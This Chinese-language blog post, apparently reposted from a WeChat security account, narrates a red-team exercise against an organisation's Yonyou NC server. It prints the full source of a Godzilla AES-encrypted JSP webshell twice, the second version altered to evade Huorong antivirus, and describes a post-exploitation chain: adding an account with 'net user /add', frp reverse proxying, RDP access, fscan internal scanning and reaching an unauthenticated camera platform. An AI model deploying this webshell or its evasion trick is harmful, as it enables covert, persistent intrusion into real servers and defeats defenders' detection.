简单免杀webshell拿下目标站点

admin 2023年12月15日12:24:50评论41 views字数 2778阅读9分15秒阅读模式

在某次对目标单位进行攻防演练的时候,搜集资产发现该单位有个用友nc,并且存在rce,于是就用脚本直接梭哈。

运行脚本后回显webshell地址(没截图),用冰蝎连接发现没了,怀疑是webshell被落地杀了,于是就查看脚本的代码将webshell改成免杀的webshell

简单免杀webshell拿下目标站点

然后将编码内容进行解码,解码后发现是先将webshell进行url编码后再加上"";再进行一次url编码。

简单免杀webshell拿下目标站点

于是我就将解码的内容换成哥斯拉马,然后将哥斯拉生成的webshell给改成免杀webshell,经过上述编码然后保存到脚本中。再运行脚本成功上传。

简单免杀webshell拿下目标站点

写一下一个最简单的webshell免杀方法,就是直接将webshell的一些变量给改一下就可以,举个例子。

<%!String xc="3c6e0b8a9c15224a"; class X extends ClassLoader{public X(ClassLoader z){super(z); }public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);}  }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");  c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){} %>

这是哥斯拉生成的一个普通的webshell,用火绒一扫就能检测出问题。

简单免杀webshell拿下目标站点

然后咱们只需要更改一些变量的名称就可以绕过火绒的检测,这是最简单的方法,但是只能是一时的。随着技术的更新换代防病毒软件会越来越厉害(这我就得提一下本人参加攻防总共写了三个免杀然后被杀率百分百的事了),下面是经过更改的webshell

<%! String xc="3c6e0b8a9c15224a"; class X extends ClassLoader{public X(ClassLoader z){super(z); }public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length); } }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES"); c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES")); return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("pay")==null){session.setAttribute("pay",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("pay")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>

简单免杀webshell拿下目标站点

这里我就将payload给改成了pay就可以绕过火绒的检测当然当时运气比较好服务器用的是火绒如果是D盾可能就得在免杀这方面研究段时间了。

简单免杀webshell拿下目标站点

用哥斯拉连接后上传免杀马运行再用cs添加用户。

netuser /add 用户名 密码

往服务器上传frp进行反代。然后rdp远程连接再传上fscan进行内网扫描。

简单免杀webshell拿下目标站点

发现目标单位内网中有一个监控平台存在未授权,可查看该单位所有的监控。

简单免杀webshell拿下目标站点

end

原文始发于微信公众号(FTC安全):简单免杀webshell拿下目标站点

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日12:24:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   简单免杀webshell拿下目标站点https://cn-sec.com/archives/2302510.html

发表评论

匿名网友 填写信息